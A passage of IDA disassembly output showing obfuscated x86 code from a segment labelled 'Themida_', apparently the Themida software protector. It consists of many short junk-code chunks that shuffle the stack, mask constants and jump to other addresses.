pop esp
jmp loc_55B8CC
sub_55DD10 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DD31: ; CODE XREF: sub_559C84-45A4j
push esi
neg dword ptr [esp+0]
pop esi
not esi
jmp loc_55469C
; ---------------------------------------------------------------------------
loc_55DD3D: ; CODE XREF: sub_559C84+12DCj
add edi, esi
jmp loc_556127
; ---------------------------------------------------------------------------
loc_55DD44: ; CODE XREF: sub_559C84+A5Aj
mov [esp+4Ah+var_4A], edx
jmp loc_559B75
; ---------------------------------------------------------------------------
loc_55DD4C: ; CODE XREF: sub_559C84-51F4j
add esp, 4
sub al, 0A6h
jmp loc_5567B5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555BE3
loc_55DD59: ; CODE XREF: sub_555BE3+2675j
mov edi, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
jmp loc_55493F
; END OF FUNCTION CHUNK FOR sub_555BE3
; ---------------------------------------------------------------------------
loc_55DD67: ; CODE XREF: Themida_:00556BEBj
xor ah, 88h
push ecx
jmp loc_554312
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DD70: ; CODE XREF: sub_559C84+2D8Bj
push esi
mov esi, esp
jmp loc_5541B8
; ---------------------------------------------------------------------------
loc_55DD78: ; CODE XREF: sub_559C84-6638j
add esp, 4
inc bl
shl bl, 3
jmp loc_55D0E4
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55DD85: ; CODE XREF: Themida_:00558E41j
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_553E2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DD91: ; CODE XREF: sub_559C84+2B0j
add esp, 4
sub al, bl
push dx
mov dh, 0F5h
jmp loc_5584FE
; ---------------------------------------------------------------------------
loc_55DDA2: ; CODE XREF: sub_559C84-C48j
xor edi, 1F867A3h
jmp loc_553AB4
; ---------------------------------------------------------------------------
loc_55DDAD: ; CODE XREF: sub_559C84-4465j
pop ecx
push [esp+2Ch+var_2C]
jmp loc_556101
; ---------------------------------------------------------------------------
loc_55DDB6: ; CODE XREF: sub_559C84-36FAj
add esp, 4
push eax
push esp
pop eax
add eax, 4
sub eax, 4
sub esp, 4
mov [esp+4Ch+var_4E+2], eax
push [esp+4Ch+var_4A+2]
pop eax
pop [esp+4Ch+var_4E+2]
pop esp
mov [esp+44h+var_46+2], ecx
push 2964h
mov [esp+48h+var_4A+2], edx
mov edx, 3B6E3FD6h
push edi
push edx
mov edx, 7D054005h
mov edi, edx
jmp loc_55EFF1
; ---------------------------------------------------------------------------
loc_55DDF6: ; CODE XREF: sub_559C84-37DBj
add ebx, 0D40085C3h
push edi
mov edi, esp
add edi, 4
jmp loc_55E3E8
; ---------------------------------------------------------------------------
loc_55DE0A: ; CODE XREF: sub_559C84-5E00j
push dword ptr [esp+0]
jmp loc_55B447
; ---------------------------------------------------------------------------
loc_55DE12: ; CODE XREF: sub_559C84-2A06j
push 7341h
mov [esp+0], edx
jmp loc_555E6F
; ---------------------------------------------------------------------------
loc_55DE1F: ; CODE XREF: sub_559C84-368Cj
xor ebp, 7703631Eh
sub edi, ebp
pop ebp
mov ecx, edi
pop edi
sub esi, 76C25830h
add esi, ecx
jmp loc_554145
; ---------------------------------------------------------------------------
loc_55DE38: ; CODE XREF: sub_559C84+12C3j
pop ebx
push edi
mov edi, edx
mov ebx, edi
pop edi
pop edx
sub ebx, ecx
push ebx
pop ecx
pop ebx
shr ecx, 7
push edi
jmp loc_55B6FE
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55DE4E proc near ; CODE XREF: sub_559C84+26ADj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553AAE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00558F81 SIZE 00000007 BYTES
push ebx
mov ebx, 16E22DCDh
xor edx, ebx
mov ebx, [esp+4+var_4]
jmp loc_553AAE
sub_55DE4E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DE5E: ; CODE XREF: sub_559C84+2196j
pop ecx
xchg ebp, [esp+30h+var_30]
mov esp, [esp+30h+var_30]
rol byte ptr [esp+30h+var_30], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55DE6E: ; CODE XREF: sub_559C84+2781j
mov ecx, 5E8548B1h
sub ebp, ecx
jmp loc_554FC7
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55DE7A: ; CODE XREF: Themida_:005557CCj
push 0F68h
mov [esp], ecx
mov ecx, esp
jmp loc_55C623
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DE89: ; CODE XREF: sub_559C84-966j
push eax
mov eax, 1893A84h
neg eax
xor eax, 0D318B971h
sub edi, eax
pop eax
jmp loc_5546BC
; ---------------------------------------------------------------------------
loc_55DE9E: ; CODE XREF: sub_559C84+5574j
mov esp, [esp+4Eh+var_4E]
jmp loc_5535CD
; ---------------------------------------------------------------------------
loc_55DEA6: ; CODE XREF: sub_559C84+28Ej
and ebx, 6E350609h
dec ebx
jmp loc_55AC44
; ---------------------------------------------------------------------------
loc_55DEB2: ; CODE XREF: sub_559C84-357Dj
pop esi
xchg edi, [esp+4Ch+var_4E+2]
pop esp
mov [esp+48h+var_4A+2], edx
jmp loc_55BB90
; ---------------------------------------------------------------------------
loc_55DEBF: ; CODE XREF: sub_559C84-35C4j
mov esp, [esp+4Ch+var_4E+2]
sub byte ptr [esp+4Ch+var_4E+2], al
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55DECB: ; CODE XREF: sub_559C84-34CBj
push [esp+58h+var_58]
pop ebx
push edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_557400
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
push 1366h
mov [esp], ebx
push esp
jmp loc_55BF28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DEF2: ; CODE XREF: sub_559C84-35Aj
mov [esp+0], edx
jmp sub_5538DF
; ---------------------------------------------------------------------------
loc_55DEFA: ; CODE XREF: sub_559C84-1CE9j
push [esp+52h+var_52]
pop esi
push edx
mov edx, esp
jmp loc_553828
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5597C1
loc_55DF06: ; CODE XREF: sub_5597C1+43Bj
pop ecx
and eax, esi
push [esp+4+var_4]
pop esi
add esp, 4
jmp loc_553F39
; END OF FUNCTION CHUNK FOR sub_5597C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DF18: ; CODE XREF: sub_559C84+2278j
mov edx, ecx
pop ecx
jmp loc_559511
; ---------------------------------------------------------------------------
loc_55DF20: ; CODE XREF: sub_559C84+357Bj
shr cx, 7
xor cx, 5B7Ah
xor cx, 6167h
sub bx, cx
jmp loc_55A95E
; ---------------------------------------------------------------------------
loc_55DF36: ; CODE XREF: sub_559C84-132Bj
shl bl, 3
jmp loc_55FC0A
; ---------------------------------------------------------------------------
loc_55DF3E: ; CODE XREF: sub_559C84+FE1j
add eax, ebx
sub eax, 7B6546CAh
push 45C3h
mov [esp+38h+var_3A+2], ecx
mov ecx, 3871499Eh
sub eax, 72B606F7h
add eax, ecx
jmp loc_5559C4
; ---------------------------------------------------------------------------
loc_55DF5E: ; CODE XREF: sub_559C84-1B4j
sub ebp, edx
pop edx
jmp loc_55BA72
; ---------------------------------------------------------------------------
loc_55DF66: ; CODE XREF: sub_559C84-2D7Bj
mov edi, esp
jmp loc_559C0C
; ---------------------------------------------------------------------------
loc_55DF6D: ; CODE XREF: sub_559C84-17FFj
mov ecx, 4
jmp loc_55546A
; ---------------------------------------------------------------------------
loc_55DF77: ; CODE XREF: sub_559C84+11BBj
mov ecx, [esp+0Ch+var_C]
sub esp, 4
mov [esp+10h+var_10], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+10h+var_10]
pop esp
xor ebx, eax
sub esp, 4
mov [esp+10h+var_10], edx
sub esp, 4
mov [esp+14h+var_14], esi
mov esi, 51AE0B46h
mov edx, 51AE0B72h
sub edx, esi
jmp loc_55481F
; ---------------------------------------------------------------------------
loc_55DFB8: ; CODE XREF: sub_559C84-46B9j
mov esi, esp
push 7ECAh
mov [esp+46h+var_46], ecx
push edi
push 5F7B33E2h
pop edi
push ebp
jmp loc_5562C0
; ---------------------------------------------------------------------------
loc_55DFCF: ; CODE XREF: sub_559C84-6253j
add ch, al
mov eax, [esp+4Ah+var_4A]
add esp, 4
add al, ch
jmp loc_55353F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55DFEA: ; CODE XREF: sub_559C84-1A6Cj
sub eax, 170E01C6h
mov ecx, [eax]
jmp loc_555CED
; ---------------------------------------------------------------------------
loc_55DFF6: ; CODE XREF: sub_559C84-5AC2j
inc eax
jmp loc_55AAB9
; ---------------------------------------------------------------------------
loc_55DFFC: ; CODE XREF: sub_559C84-4758j
add ch, 22h
sub dl, ch
jmp loc_55631D
; ---------------------------------------------------------------------------
loc_55E006: ; CODE XREF: sub_559C84+3B46j
sub ebp, 0D0414986h
and ecx, ebp
pop ebp
jmp loc_55E6C6
; ---------------------------------------------------------------------------
loc_55E014: ; CODE XREF: sub_559C84-439Cj
and eax, 64FD7B7Dh
xor eax, 3B980C90h
sub ebx, eax
pop eax
push ebp
push edi
mov edi, 68863113h
jmp loc_553C8D
; ---------------------------------------------------------------------------
loc_55E02D: ; CODE XREF: sub_559C84-2E98j
push ecx
mov ch, al
jmp loc_55C4B1
; ---------------------------------------------------------------------------
loc_55E035: ; CODE XREF: sub_559C84-51B1j
pop esp
add eax, 16251FDBh
jmp loc_558CC8
; ---------------------------------------------------------------------------
loc_55E040: ; CODE XREF: sub_559C84+299Aj
push eax
mov eax, 8B94856h
add esi, eax
pop eax
and esi, 1ED23F27h
jmp loc_555DFE
; ---------------------------------------------------------------------------
loc_55E054: ; CODE XREF: sub_559C84+557Ej
pop ebx
and eax, ecx
push [esp+2Eh+var_30+2]
pop ecx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+32h+var_34+2]
jmp loc_553FB3
; ---------------------------------------------------------------------------
loc_55E070: ; CODE XREF: sub_559C84+295Dj
neg edx
xor edx, 2ED803A8h
and edx, 5B27685Fh
add edx, 0EFF9BFE5h
jmp loc_55F0EF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E091: ; CODE XREF: sub_559C84+4D2Aj
push edi
push eax
mov eax, 1AB47669h
mov edi, eax
jmp loc_553CAC
; ---------------------------------------------------------------------------
loc_55E09F: ; CODE XREF: sub_559C84-4719j
pop ebp
jmp loc_55AE62
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E0A5: ; CODE XREF: Themida_:005591BAj
push edi
push esp
mov edi, [esp]
jmp loc_553A36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E0AF: ; CODE XREF: sub_559C84-AF9j
add [esp+2Ah+var_2C+2], eax
push eax
mov eax, 7E5E3C9Ah
sub [esp+2Eh+var_2C+2], 4C332B42h
sub [esp+2Eh+var_2C+2], eax
jmp loc_55AEF0
; ---------------------------------------------------------------------------
loc_55E0C9: ; CODE XREF: sub_559C84-1E7j
dec edi
sub edi, 0F7F6DFFBh
mov ecx, edi
pop edi
push ecx
jmp loc_55F8CA
; ---------------------------------------------------------------------------
loc_55E0D9: ; CODE XREF: sub_559C84-575Fj
mov ecx, [esp+30h+var_30]
add esp, 4
sub bl, al
pop ax
add bl, 0DBh
add bl, 51h
add bl, al
jmp loc_555657
; ---------------------------------------------------------------------------
loc_55E0F3: ; CODE XREF: sub_559C84-1B43j
xchg esi, ebx
not esi
xchg esi, ebx
sub ebx, 0B3D8B99h
sub edx, ebx
mov ebx, [esp+52h+var_52]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_55A951
; ---------------------------------------------------------------------------
loc_55E118: ; CODE XREF: sub_559C84-E71j
push [esp+20h+var_1C]
pop edx
jmp loc_55F5D9
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E122: ; DATA XREF: Themida_:00553274o
mov cx, [esp]
push 178Ch
mov [esp], edx
mov edx, esp
push esi
jmp loc_557E9C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E136: ; CODE XREF: sub_559C84+2D0Aj
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E13B: ; DATA XREF: Themida_:0055335Co
lodsd
jmp loc_55A034
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E141: ; CODE XREF: sub_559C84+5736j
xor edx, 2C395F5Eh
xor edx, 16270A54h
inc edx
add edx, 0FFFFFFFFh
jmp loc_55CABE
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E611
loc_55E159: ; CODE XREF: sub_55E611-6FE4j
mov edx, ecx
mov edi, edx
jmp loc_55410F
; END OF FUNCTION CHUNK FOR sub_55E611
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E162: ; CODE XREF: sub_559C84+3E07j
push dword ptr [esp+4]
pop ebx
jmp loc_553B58
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E16C: ; CODE XREF: Themida_:00557893j
push dword ptr [esp]
pop eax
add esp, 4
add eax, 3D692111h
jmp loc_55D2E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F608
loc_55E180: ; CODE XREF: sub_55F608+10j
pop ecx
or ecx, edi
pop edi
shr ecx, 1
shr ecx, 8
inc ecx
sub esp, 4
mov [esp+0], esi
jmp loc_557479
; END OF FUNCTION CHUNK FOR sub_55F608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E198: ; CODE XREF: sub_559C84-17CDj
mov [esp+3Ah+var_3A], ecx
mov ecx, 74CD4AACh
jmp loc_55E2FC
; ---------------------------------------------------------------------------
loc_55E1A5: ; CODE XREF: sub_559C84-E02j
mov [esp+32h+var_34+2], edi
jmp loc_55AD00
; ---------------------------------------------------------------------------
loc_55E1AD: ; CODE XREF: sub_559C84+27FDj
mov esp, [esp+50h+var_52+2]
and word ptr [esp+50h+var_52+2], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55E1BA: ; CODE XREF: sub_559C84-3778j
pop [esp+3Ah+var_3A]
pop esp
mov [esp+32h+var_34+2], eax
mov eax, 20h
add eax, 4C667598h
add eax, 40784718h
add eax, edi
sub eax, 40784718h
sub eax, 4C667598h
jmp sub_553ADA
; ---------------------------------------------------------------------------
loc_55E1E1: ; CODE XREF: sub_559C84+2E7Aj
push [esp+58h+var_58]
jmp loc_55E7FD
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5553EA
loc_55E1E9: ; CODE XREF: sub_5553EA+2484j
xor [esp+0], ecx
xor ecx, [esp+0]
pop esp
dec [esp-4+arg_0]
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_5553EA
; =============== S U B R O U T I N E =======================================
sub_55E1F9 proc near ; CODE XREF: sub_559C84-653Fj
; FUNCTION CHUNK AT 00559656 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055EFD0 SIZE 00000016 BYTES
push ebp
mov ebp, 0D75546h
jmp loc_559656
sub_55E1F9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E204: ; CODE XREF: sub_559C84-247Dj
mov ah, 7Ah
xor ah, cl
pop ecx
jmp loc_553D91
; ---------------------------------------------------------------------------
loc_55E20E: ; CODE XREF: sub_559C84+21ACj
pop dword ptr [edi+20h]
sub dword ptr [edi+20h], 2716582Eh
mov edx, [esp+34h+var_34]
add esp, 4
jmp loc_5556A2
; ---------------------------------------------------------------------------
loc_55E223: ; CODE XREF: sub_559C84-6378j
add esp, 4
jmp sub_55E51A
; ---------------------------------------------------------------------------
loc_55E22B: ; CODE XREF: sub_559C84+2E04j
mov esi, esp
add esi, 4
push ebp
jmp loc_55926B
; ---------------------------------------------------------------------------
loc_55E239: ; CODE XREF: sub_559C84+23C5j
sub edx, 60D73D2Ah
add edx, esi
add edx, 60D73D2Ah
pop esi
add edx, 4
xor edx, [esp+46h+var_46]
jmp loc_55C2F0
; ---------------------------------------------------------------------------
loc_55E256: ; CODE XREF: sub_559C84+72Cj
push dx
mov dh, 2
sub al, dh
pop dx
sub al, 0A1h
push dx
mov dl, 9Fh
sub al, 87h
jmp loc_55415A
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55E26B proc near ; DATA XREF: Themida_:005534ACo
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005539AF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00554239 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00554679 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555DF4 SIZE 0000000A BYTES
push dword ptr [esp+0]
push [esp+4+var_4]
mov eax, [esp+8+var_8]
add esp, 4
add esp, 4
push 222Ch
jmp loc_555DF4
sub_55E26B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E287: ; CODE XREF: sub_559C84-31E5j
add ecx, edi
sub ecx, 10B76326h
pop edi
xchg ecx, [esp+40h+var_42+2]
mov esp, [esp+40h+var_42+2]
mov cx, word ptr [esp+40h+var_42+2]
push 76A4h
jmp loc_5598C9
; ---------------------------------------------------------------------------
loc_55E2A4: ; CODE XREF: sub_559C84-29Fj
xor ebx, edx
pop edx
jmp loc_556161
; ---------------------------------------------------------------------------
loc_55E2AC: ; CODE XREF: sub_559C84-5BE2j
mov [esp+2+var_4+2], ebx
mov bl, 18h
shr bl, 2
jmp loc_5553F5
; ---------------------------------------------------------------------------
loc_55E2B9: ; CODE XREF: sub_559C84+115Aj
sub ebx, 231D53BCh
sub ebx, esi
add ebx, 231D53BCh
pop esi
pop esi
add ebx, eax
add ebx, 60DC5818h
jmp loc_559519
; ---------------------------------------------------------------------------
loc_55E2D6: ; CODE XREF: sub_559C84+46F3j
xor eax, 28D427A6h
push 1405h
mov [esp+0], ebx
jmp loc_55613E
; ---------------------------------------------------------------------------
loc_55E2E8: ; CODE XREF: sub_559C84+1126j
shr eax, 0Bh
xor ecx, eax
push esi
push ecx
mov ecx, esp
add ecx, 4
jmp loc_557DED
; ---------------------------------------------------------------------------
loc_55E2FC: ; CODE XREF: sub_559C84+451Cj
dec ecx
not ecx
inc ecx
xchg edi, ecx
not edi
xchg edi, ecx
not ecx
sub ecx, 8B32B553h
add edx, ecx
pop ecx
xchg edx, [esp+0]
mov esp, [esp+0]
test cl, al
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557ED1
loc_55E31F: ; CODE XREF: sub_557ED1+11j
add eax, ebx
jmp loc_55A0CC
; END OF FUNCTION CHUNK FOR sub_557ED1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E326: ; CODE XREF: sub_559C84+49ECj
and dl, 88h
sub dl, 77h
and dl, 57h
jmp loc_557A8A
; ---------------------------------------------------------------------------
loc_55E334: ; CODE XREF: sub_559C84+3283j
add edi, ebx
sub edi, 440A6EBAh
pop ebx
jmp loc_556BB4
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_55E342 proc near ; CODE XREF: sub_559C84-852j
; FUNCTION CHUNK AT 00557B2A SIZE 0000000B BYTES
push ebp
mov ebp, esp
jmp loc_557B2A
sub_55E342 endp
; =============== S U B R O U T I N E =======================================
sub_55E34A proc near ; CODE XREF: sub_559C84+1109j
push ebx
mov ebx, 6F1C4FDAh
jmp loc_55C949
sub_55E34A endp
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55895E
loc_55E35D: ; CODE XREF: sub_55895E-4FF0j
push [esp+4+var_4]
mov ebp, [esp+8+var_8]
add esp, 4
push eax
jmp loc_55385D
; END OF FUNCTION CHUNK FOR sub_55895E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E36C: ; CODE XREF: sub_559C84+55ECj
mov eax, 28D427A6h
xor [esp+4], eax
pop eax
pop eax
jmp loc_55E2D6
; ---------------------------------------------------------------------------
loc_55E37C: ; CODE XREF: sub_559C84-352Fj
add esp, 4
sub esp, 4
mov [esp+50h+var_52+2], ebp
mov ebp, 51120192h
xor ebp, 55E11EF4h
jmp loc_5564D7
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
mov esi, esp
sub esp, 4
mov [esp], edi
push ecx
push 5B572D96h
pop ecx
push edi
mov edi, 4A8E497Ch
shr edi, 6
add edi, 56A53FBCh
xor edi, 0F367AA8Fh
add ecx, edi
pop edi
sub esp, 4
mov [esp], ebp
jmp loc_55BE35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E3D5: ; CODE XREF: sub_559C84-4A06j
not al
push cx
mov ch, 0Bh
jmp loc_55ABF8
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E3E8: ; CODE XREF: sub_559C84+4181j
sub edi, 4
xor edi, [esp+4Ah+var_4A]
xor [esp+4Ah+var_4A], edi
xor edi, [esp+4Ah+var_4A]
pop esp
mov [esp+46h+var_46], ebx
jmp loc_555E7D
; ---------------------------------------------------------------------------
loc_55E400: ; CODE XREF: sub_559C84-3375j
push [esp-1Ah+arg_14+2]
mov edx, [esp-16h+arg_10+2]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_559F30
; ---------------------------------------------------------------------------
loc_55E41A: ; CODE XREF: sub_559C84+1C43j
mov eax, [esp+42h+var_42]
add esp, 4
jmp loc_55CB5B
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55E425 proc near ; CODE XREF: sub_559C84+DF1j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00556E29 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005574A3 SIZE 00000030 BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
add esi, 4
push edi
mov edi, 4
jmp loc_556E29
sub_55E425 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E446: ; CODE XREF: sub_559C84-1170j
mov ecx, [esp+4Ah+var_4A]
jmp loc_555707
; ---------------------------------------------------------------------------
loc_55E44E: ; CODE XREF: sub_559C84+4EC7j
or edx, 4E725844h
jmp loc_55EDDF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E459: ; CODE XREF: Themida_:00557EA5j
not esi
push 1A0h
mov [esp], ecx
mov ecx, 5FCB036Fh
add ecx, 4E8E24C4h
and ecx, 4791624Ch
add ecx, 529354Ah
push esi
jmp loc_55C8F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E480: ; CODE XREF: sub_559C84-3FC0j
pop edi
sub esp, 4
mov [esp+3Eh+var_3E], edx
jmp loc_558634
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55E48F proc near ; DATA XREF: Themida_:00553498o
mov ax, [esp+0]
push ecx
jmp loc_55D9DD
sub_55E48F endp
; ---------------------------------------------------------------------------
loc_55E499: ; CODE XREF: Themida_:00555507j
mov [esp], ebp
mov ebp, 2
add edx, ebp
jmp loc_55C9ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E4A8: ; CODE XREF: sub_559C84+48D1j
pop esi
sub esp, 4
mov [esp+3Eh+var_3E], ebp
mov ebp, 6674069Ch
sub ebx, ebp
mov ebp, [esp+3Eh+var_3E]
add esp, 4
movzx ax, byte ptr [eax]
push 1E15h
jmp loc_553D65
; ---------------------------------------------------------------------------
loc_55E4CA: ; CODE XREF: sub_559C84-181Cj
push esi
mov esi, 32B772CBh
add esi, 0CD488D39h
sub ebp, esi
pop esi
xchg ebp, [esp+3Eh+var_3E]
pop esp
jmp loc_559FA7
; ---------------------------------------------------------------------------
loc_55E4E2: ; CODE XREF: sub_559C84+7E7j
push [esp+4Ah+var_4A]
pop ebp
push 69ACh
jmp loc_559BEB
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E4F0: ; CODE XREF: Themida_:0055FC18j
push ecx
jmp loc_55D96B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E4F6: ; CODE XREF: sub_559C84-31C6j
mov ecx, esp
jmp loc_556F60
; ---------------------------------------------------------------------------
loc_55E4FD: ; CODE XREF: sub_559C84+57A4j
pop eax
add edi, 4E8664Ch
add edi, ecx
sub edi, 4E8664Ch
mov ecx, [esp+5Ah+var_5C+2]
add esp, 4
jmp loc_55A0D2
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55E51A proc near ; CODE XREF: sub_559C84+45A2j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00554FFF SIZE 00000013 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_554FFF
sub_55E51A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E525: ; CODE XREF: sub_559C84-34D4j
shr ebp, 3
push edx
mov edx, 1
sub ebp, edx
pop edx
jmp loc_5572D5
; ---------------------------------------------------------------------------
loc_55E536: ; CODE XREF: sub_559C84+5EF4j
mov eax, esp
jmp loc_55EA0E
; ---------------------------------------------------------------------------
loc_55E53D: ; CODE XREF: sub_559C84-F22j
push 4B3Fh
jmp loc_55A981
; ---------------------------------------------------------------------------
loc_55E547: ; CODE XREF: sub_559C84+3009j
pop esp
btr word ptr [esp+42h+var_42], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55E553: ; CODE XREF: sub_559C84+E7Fj
add ebx, esi
jmp loc_55E4A8
; ---------------------------------------------------------------------------
loc_55E55A: ; CODE XREF: sub_559C84-4E1Cj
mov edi, ecx
pop ecx
add ebx, edi
mov edi, [esp+44h+var_46+2]
add esp, 4
add ebx, 4
push ebx
push [esp+44h+var_42+2]
pop ebx
pop [esp+44h+var_46+2]
pop esp
add esp, 4
idiv ecx
push 22D4h
mov [esp+3Ch+var_3E+2], edx
mov edx, esp
sub esp, 4
mov [esp+40h+var_42+2], ebp
mov ebp, 4
jmp loc_55BDF9
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55E597: ; CODE XREF: Themida_:00557611j
push 48D5h
mov [esp], ebp
mov ebp, 2
push ebp
push esi
jmp loc_55ED53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E5AB: ; CODE XREF: sub_559C84-5FBj
sub ebx, ebp
jmp loc_5578F8
; ---------------------------------------------------------------------------
loc_55E5B2: ; CODE XREF: sub_559C84+4C6j
mov eax, 4724315Dh
neg eax
xor eax, 0E990CEABh
mov edi, eax
mov eax, [esp+8+var_8]
add esp, 4
shr edi, 7
sub edi, 23BD7CC9h
shr edi, 2
shr edi, 3
shl edi, 1
sub edi, 0DCE518Eh
jmp loc_55AA10
; ---------------------------------------------------------------------------
loc_55E5E5: ; CODE XREF: sub_559C84-32DCj
mov ebp, 49E249D6h
or ebp, 3E16728Bh
xor ebp, 39A5170Ch
sub eax, ebp
jmp loc_555B43
; ---------------------------------------------------------------------------
loc_55E5FD: ; CODE XREF: sub_559C84-669Ej
push 0
sub [esp+4+var_4], 1E9172D0h
sub [esp+4+var_4], eax
jmp loc_5560DB
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55E611 proc near ; CODE XREF: sub_559C84-64C3j
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0055410F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00557629 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055E159 SIZE 00000009 BYTES
sub esp, 4
jmp loc_557629
sub_55E611 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55E619: ; CODE XREF: sub_559C84+2A8Bj
add edx, 4
push esi
jmp loc_55EC7C
